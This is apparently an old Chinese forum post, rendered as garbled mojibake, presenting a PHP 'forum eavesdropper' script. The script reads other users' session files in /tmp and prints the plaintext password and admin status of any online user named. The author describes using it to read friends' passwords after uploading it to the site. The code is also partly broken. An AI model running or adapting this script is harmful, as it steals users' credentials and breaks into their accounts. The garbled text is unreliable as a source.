Ö®ËuÒÔÊÇÄÜд³oÀ´Õa¸oº¯Êý£¬Ö÷ÒªÊǶԸÃÍøÕ¾µÄsession½a¹¹Ça³þ£¬È磺name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1"£¬Ò²ÖªµÀ¸Ãsession´aeŵÄλÖ㬶øÇÒ¿ÉÒÔÉÏ´«Îļþ£¬ËuÒÔÂi£¬µ±Ê±¾Í×oÁËÒ»´ÎССµÄºÚ¿Í£¬ÔÚÏßµÄÅoÓѵÄÃÜÂe¿ÉÒÔÒ»ÀÀÎÞÓa£¬ºÇºÇ£º
<?
function submit1(){
global $username;
print "
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "ÄaҲ̫ºÚÁË°É£¿Á¬ÎÒÄaÒ²²e£¿";
return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "Óû§±ÊÃu:".$name[2]."
ʹÓÃÃÜÂe:".$passwd[2]."
ʹÓÃģʽ:";
if($mode[1]==1)
print "¹ÜÀiÔ±";
else
print "Ò»°aÓû§";
print"
͵ÇÔËuÈËÃÜÂeÊDz»µÀµÂÐÐΪÇeÉÙÉÙΪ֮
";
$i=1;
break;
}}}}
if(!$i)
print "Óû§:".$username."ÕaeµÄÔÚÏßÂð£¿ÈçÄaȶ¨£¬ÇeÔÙÀ´Ò»´Î£¬²»Òª¶a´o¿Õ¸ñ£¡";
$d->close();
}
function login(){
?>
ÂÛ̳¼aÌýÆ÷
µ±Äa¿´µ½Ò»Óû§ÔÚÏßʱÄaÏe¿´ËuµÄÃÜÂe£¬ÄaÒªÈçºÎ×÷ÄØ£¿ | |
ÈÃÎÒÀ´¸aeËßÄa£º¾ÍÊÇʹÓñ¾³ÌÐo¡£ | |
Ö£ÖØÉeÃ÷:±¾³ÌÐoΪ×ÔÓɳÌÐo£¬ÓÉËuËuÔi³ÉµÄÈκÎËðʧ±¾È˸Dz»¸ºÔð¡£
²»¹ýÕa¸oÎÊÌaÒ²ÐiºÜ¿i¾Í»a±»¶ÂÉÏ,¸oλ»¹ÊDz»ÒªÕÅÑiµÄ͵×ÅÓðɡ£ |